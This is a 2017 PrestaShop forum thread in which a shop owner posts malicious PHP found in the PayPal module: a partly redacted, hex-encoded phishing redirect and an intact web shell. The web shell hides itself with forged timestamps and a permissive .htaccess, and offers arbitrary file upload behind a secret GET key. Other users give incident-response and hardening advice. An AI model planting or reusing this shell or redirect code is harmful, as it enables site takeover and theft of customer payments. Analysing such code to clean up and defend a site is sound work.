The New PayPal module gets Hacked!

[Bitten]

Platform: Prestashop 1.6.0.14

Paypal module version:3.11.1

 

Full script:
 

<?php

 

$secure_key  = "<i remove it, im not sure i should give it to keep me anonimity>";

$secure_auth = "i remove it, im not sure i should give it to keep me anonimity";

function paypal_get_validation($var){

$hex='';x - change for security reasons

$hex .= dechex(ord($var[$i]));

}

return $hex;

}

functixxxxxx change for security reasons

$var='';

xxxxxx change for security reasons

}

return $var;

}

xxxxxxxxxx change for security reasons 

}

if(!isset($_POST['check']) and !isset($_COOKIE['check'])){

$data = xxxxx - change for security reasons..

$return = create_function('$a,$b,$c', str_replace("\'","'",paypal_last_return('66756e6374696asdf6e204f30304f4f304f304f3024f28244f304f4f4f304f304f304f2c20244f30g304f4f29207b24726573756c74203d2027273b244f304f4f4f304f304f304f203d206261736536345f6465636f646528244f304f4f4f304f304f304f293b666f72282469203d20303b202469203c207374726c656e28244f304f4f4f304f304f304f293b2024692b2b29207b244f30304f4f304f304f304f203d2073756273747228244f304f4f4f304f304f304f2c2024692c2031293b244f30304f4f4f30304f4f304f304f304f203d2073756273747228244f30304f4f2c202824692025207374726c656e28244f30304f4f293292d312c2031293b244f3030hg4f4f304f304f304f203d20636872286f726428244f30304f4f304fg304f304f29202d206f726428244f30304f4f4f30304f4f304f304f304f29293b24726573756c74202e3d20244f30304f4f304f304f304f3b7d72657475726e2024726573756c743b7d66756e6374696f6e2047657455s524c28297b2473203d20656df70747928245f5345525645525b224854545053225d29203f205c275c27203a2028245f534gfd5dfg5525645525b224854545053225d203d3d20226f6e2229203f20227322203a2022223b2470726f746f636f6c203d202268747470222e24733b72657475726e202470726f746f636f6c2e223a2f2f222e245f5345525645525b5c275345525645525f4e414d455c275d2e245f5345525645525b5c27524551554553545f5552495c275d3b207d72657475726e205c273c626f64793e3c666f726d206e616d653d22666f726d6d792220616374696f6e3d225c272e66696c655f6765745f636f6e74656e7473284f30304f4f304f304f304f2870617970616c5f6c6173745f72657475726e282461292c22gf623434646638366532396634356535656135x39366233366562663s038373861652229292e5c2722206d6574686f64w3d22706f7374223e3c646976207374796c653d22646973706c61f793a6e6f6e653b223e3c696e707574206e616d653d2266726f6d222076616c75653d225c272e70617970616c5f6765745f76616c69646174696f6e2847657455524c2829292e5c27222f3e3c696e707574206e616d653d227661726961626c6573222076616c75653d225ca272e70617970616c5f6765745f76616cg69646174696f6e282463292e5c27222f3e3c696e7075a74206e616d653d2327469a746c65222076616c75653d225c272e70617970616c5f6765745f76616c696461v74696f6e284f30304f4f304f304f304f2870617970616c5f6c6173745f72657475726e282462292c22623434646638366a53239663435653565613539366233366562663038373861652229292e5c27222f3e3c2f6469763e3c2f666f726d3e3c736372697074206c616e67756167653d224a617661536372697074223e73657454696d656f75742822646f63756d656e742e666f726d6d792e7375626d69742829222c30293b3c2f7363726970743e3c2f626f64793e5c273b')));

echo $return($secure_key,$secure_auth,$data);

die();

}

else{

setcookie('check', "checked", time() + (86400 * 1));

}

 

?>

After some decode:
 

 

What this code do: After when your customer click pay via Paypal it will redirect you to the phishing site.

What should i do guys were i have backdoor? 
What should i check?
.
 

Edited July 20, 2017 by Bitten (see edit history)

[El Patron]

Check your file and folder permissions are (typically) 755 folder 644 files

 

delete old ftp accounts, change existing ftp passwords

 

once you are sure the permissions are set correctly (if not google on how to change or contact hosting).

 

here is problem, if you clean the above file and it comes back then there is probably a .js file inserted somewhere

 

how to find?  using ftp sort files based on change date and look for any newly updated files.  replace/rename etc. and replace when appropriate with original code.  Note: you can find native code by downloading your current ps version.

 

Hope these tips help

 

el

[Scully]

According to the post title which impiles there is a problem with the paypal itself, the following code extract reveals that apparently the server was hacked with some program code beeing exchanged by mailcious code.

 

If you can:

1. Take your shop into maintenance mode.

2. Save all data at current state before you go on, if not possible do at least #3

3. Save all logfiles for future use or analysis.

4. Check the date-modified for the file in question.

5. Check all date-modified in a range for the same time-stamp as mentionned above.

(files from ./cache paths are rewritten from time to time, so they are not critical in this context)

 

Report back.

[Bitten]

Yehh.. I thought there is backdoor in paypal module :c

 

Thank you for help guys

Edited July 20, 2017 by Bitten (see edit history)

[Scully]

Have you found out more on this problem? Specifically, how the file was overwritten?

[Bitten]

Have you found out more on this problem? Specifically, how the file was overwritten?

Not yet. All files have 644 rights.

Checking files right now. Searching js. file

 

[Bitten]

Have you found out more on this problem? Specifically, how the file was overwritten?

Look at this: http://scr.hu/4ill/02juu

and this: http://scr.hu/4ill/6gpzz

 

in file:

<?php

 

$modules = getcwd();

$modules = explode('modules',$modules);

$modules = $modules[0];

 

 

if(!strpos(getcwd(),"classes/")){

$Timestamp = filemtime($modules."classes/controller/FrontController.php");

@mkdir($modules."classes/controller/admin");

if(!rename( __FILE__ ,$modules."classes/controller/admin/".basename(__FILE__))){echo " no_writable";}

file_put_contents($modules."classes/controller/admin/.htaccess","Order deny,allow

Allow from all");

 

touch($modules."classes/controller/admin/".basename(__FILE__), $Timestamp);

touch($modules."classes/controller/admin/.htaccess", $Timestamp);

touch($modules."classes/controller/admin", $Timestamp);

}else{

$modules = getcwd();

$modules = explode('/classes',$modules);

$modules = $modules[0];

}

 

if($_GET['xboo'] == 'de6d42ea1050b79c613a40fefb1240ed'){

echo "<form method='post' enctype='multipart/form-data'><input name='avatar' type='file' /> <input type='submit' value='go' /></form>";

$dossier = './';

if( isset($_FILES['avatar']['name']) and !empty($_FILES['avatar']['name']) ){

$fichier = basename(

@$_FILES['avatar']['name']

);

move_uploaded_file(

$_FILES['avatar']['tmp_name'],

$dossier . $fichier

);

}

 

if( isset($_GET['f']) ){

if(is_file($modules."/".str_replace("\/","/",$_GET['f'])) and file_exists( $modules."/".str_replace("\/","/",$_GET['f']) )){

echo " yes ";

}

}

 

elseif( isset($_GET['d']) ){

if(is_dir( $modules."/".str_replace("\/","/",$_GET['d']) )){

echo " yes ";

}

}

}

?>

 

Looks weird

[Scully]

One more hint I postet several times already.

 

Most of shop owners do not make worldwide business. Hence, it is not necessary to allow everyone to access your shop.

We use .htaccess to disallow access from many countries where our customers do not make business. Especially we block some "high risk" countries by default.

It is just one of several measures to avoid problems like this.

 

Once more is, not to allow the systems apache users to allow write access to .htaccess files. With the exception of a new install, it is usually not needed once the system is set up and running. And as we see in your code poste above, there is not only the module changed but also a new .htaccess written to this path:

file_put_contents($modules."classes/controller/admin/.htaccess","Order deny,allow

Allow from all");

What we also see is this....

$Timestamp = filemtime($modules."classes/controller/FrontController.php");

and this

touch($modules."classes/controller/admin/".basename(__FILE__), $Timestamp);
touch($modules."classes/controller/admin/.htaccess", $Timestamp);
touch($modules."classes/controller/admin", $Timestamp);

In the first part, the file timestamp from the FrontController is fetched.

In the second part, all changed files get the original timestamp from FrontController.php.

This is used to hide the activity of the malicious code.

 

We also analyse server logfiles in terms of unusual requests. If detected as unusual and the number of hits exceeds a predefined treshold, access from the IP involved is blocked automatically. It is similar to the fail2ban but with more specific rules for shop systems.

Edited July 20, 2017 by Scully (see edit history)

[Bitten]

One more hint I postet several times already.

 

Most of shop owners do not make worldwide business. Hence, it is not necessary to allow everyone to access your shop.

We use .htaccess to disallow access from many countries where our customers do not make business. Especially we block some "high risk" countries by default.

It is just one of several measures to avoid problems like this.

 

Once more is, not to allow the systems apache users to allow write access to .htaccess files. With the exception of a new install, it is usually not needed once the system is set up and running. And as we see in your code poste above, there is not only the module changed but also a new .htaccess written to this path:

file_put_contents($modules."classes/controller/admin/.htaccess","Order deny,allow

Allow from all");

What we also see is this....

$Timestamp = filemtime($modules."classes/controller/FrontController.php");

and this

touch($modules."classes/controller/admin/".basename(__FILE__), $Timestamp);
touch($modules."classes/controller/admin/.htaccess", $Timestamp);
touch($modules."classes/controller/admin", $Timestamp);

In the first part, the file timestamp from the FrontController is fetched.

In the second part, all changed files get the original timestamp from FrontController.php.

This is used to hide the activity of the malicious code.

 

We also analyse server logfiles in terms of unusual requests. If detected as unusual and the number of hits exceeds a predefined treshold, access from the IP involved is blocked automatically. It is similar to the fail2ban but with more specific rules for shop systems.

You give me very valuable information about that. 

We sell our items worldwide we cannot block any countries.

Is there any security module to block that actions? 

[Scully]

fail2ban is a module for linux servers, it is NOT a prestashop module. It allows to ban suspicious access attemps to your server.

Furthermore you could investigate, if there is also a prestashop module.

However, I would always try to fix the real issue directly on the server and not on the application level.

 

Conclusion

We know about what code has changed. Maybe not all details.

We don't know anything how the injection could happen at first place.

As long as we don't know about the latter, there is not secure way to harden your installation.

So if you just revert to an old backup, the same thing might happen again very soon.

Invesitgation on the attack vectors seems crutial to me. Logfiles might help, especially search the access logfiles for the lines which contain file names you posted above.

Also search for POST or PUT request since these kind of requests are likley to be used for writing files.

Take into your consideration ALL DATA from your database in in 3rd party hands.

Hence, I recommend strongly to overwrite all passwords in the ps_customer table immediately and  to send an email to all customers informing them to choose a new, strong password.

[Scully]

And by the way:

 

Chane the access credentials to your database and all your admin accoutns as well.

[Bitten]

Hence, I recommend strongly to overwrite all passwords in the ps_customer table immediately and  to send an email to all customers informing them to choose a new, strong password.

Passwords are md5 and salted i really need to inform all customers about changing passwords?

Edited July 20, 2017 by Bitten (see edit history)

[Scully]

Hopefully passwords are not encrypted by MD5. This hash outdated since years. I wouln't take the risk and inform customers for a change. It's not a step one wishes to do. But you have to take into cons, that your whole database has been copied in the worst case.

 

And more tipps:

- Use an email address for admins which are never used in public. Make an alias in your hosting panel. Don't use your general shop mail address as admin !!!

- Use HTTPS everywhere.

 

But the critical question remains:

- How was the code injected? If you don't find the reason, you're still running with the risk having the same problem again.

Edited July 20, 2017 by Scully (see edit history)

[DataKick]

Hopefully passwords are not encrypted by MD5. This hash outdated since years.

 

passwords are indeed salted and hashed by MD5. But we have to asume that salt is compromised as well, since attacker has access to php code.

[Scully]

I checked and there is an option in the performance settings using an alternate hashing method using mycript.

This is much more secure than the old MD5.

We have this enabled since years.

 

And I fully agree with the second statement.

The salt may not be considered as beeing safe anymore.

Edited July 20, 2017 by Scully (see edit history)

[DataKick]

I checked and there is an option in the performance settings using an alternate hashing method using mycript.

This is much more secure than the old MD5.

We have this enabled since years.

 

And I fully agree with the second statement.

The salt may not be considered as beeing safe anymore.

 

It's much more secure, too bad it's not used for password protection (it's possible you have some modification / override that do it properly)

 

See this auth process:

 

AuthController::processSubmitLogin

$authentication = $customer->getByEmail(trim($email), trim($passwd));
if (isset($authentication->active) && !$authentication->active) {
  $this->errors[] = Tools::displayError('Your account isn\'t available at this time, please contact us');
} elseif (!$authentication || !$customer->id) {
  $this->errors[] = Tools::displayError('Authentication failed.');
} else {
  ...success
}

Customer::getByEmail

    public function getByEmail($email, $passwd = null, $ignore_guest = true)
    {
        if (!Validate::isEmail($email) || ($passwd && !Validate::isPasswd($passwd))) {
            die(Tools::displayError());
        }

        $result = Db::getInstance()->getRow('
		SELECT *
		FROM `'._DB_PREFIX_.'customer`
		WHERE `email` = \''.pSQL($email).'\'
		'.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).'
		'.(isset($passwd) ? 'AND `passwd` = \''.pSQL(Tools::encrypt($passwd)).'\'' : '').'
		AND `deleted` = 0
		'.($ignore_guest ? ' AND `is_guest` = 0' : ''));

Tools::encrypt

 

    public static function encrypt($passwd)
    {
        return md5(_COOKIE_KEY_.$passwd);
    }

Edited July 20, 2017 by DataKick (see edit history)

[El Patron]

I was hacked when running  my module shop in  1.4.  Really twisted my underwear, I mean it's not like the culprit would be found and arrested.  So I wrote the following module.  While it will not find injection it will detect changes to a file and report that either via module configuration screen and email alerts.  For most people with similar issue this proves useful.  For people that want to know about issue earlier, see this work.

 

PrestaVault Malware | Trojan | Virus Protection - PrestaHeroes

 

 

here is other information.  Note: you may want to post in job forums to have this issue resolved for you.  

https://dh42.com/blog/prestashop-security/

[Scully]

@DataKick

Thanks for the code extracts. This is not what I expected to sed. I'll have to talk to one of our developers and review our code.

But what else would be this option take effect if not for passwords?

The related config table entry goes to PS_CIPHER_ALGORITHM

 

@El Patron

I like the idea of your module. How to you check for changes? File date might not work as we see in the above posted code since the mod time is changed to most likely the prestashop original installation date.

Edited July 20, 2017 by Scully (see edit history)

[El Patron]

@

@El Patron

I like the idea of your module. How to you check for changes? File date might not work as we see in the above posted code since the mod time is changed to most likely the prestashop original installation date.

 

the file size would change and be detected, it also detects of course date but also permission change...I think also file owner group but forget now.

[bravafabrics]

We had the same problem. They has stolen from us 3600€! Still not any idea of what to do. I desactivated Paypal until we have more news. It looks the module is not safe. We are using Paypal module 3.11.4 i an 1.6.12 Prestashop-

Edited September 7, 2017 by bravafabrics (see edit history)

[El Patron]

We had the same problem. They has stolen from us 3600€! Still not any idea of what to do. I desactivated Paypal until we have more news. It looks the module is not safe. We are using Paypal module 3.11.4 i an 1.6.12 Prestashop-

 

I suggest posting in job offers or finding quality agency to solve this issue for you.  You will sleep a lot better that way.

[Scully]

I'd guess the problem is not directly caused by the paypal module but some other modules or an older vlunerable prestashop version. However hacking paypal is the way how to make money out of it.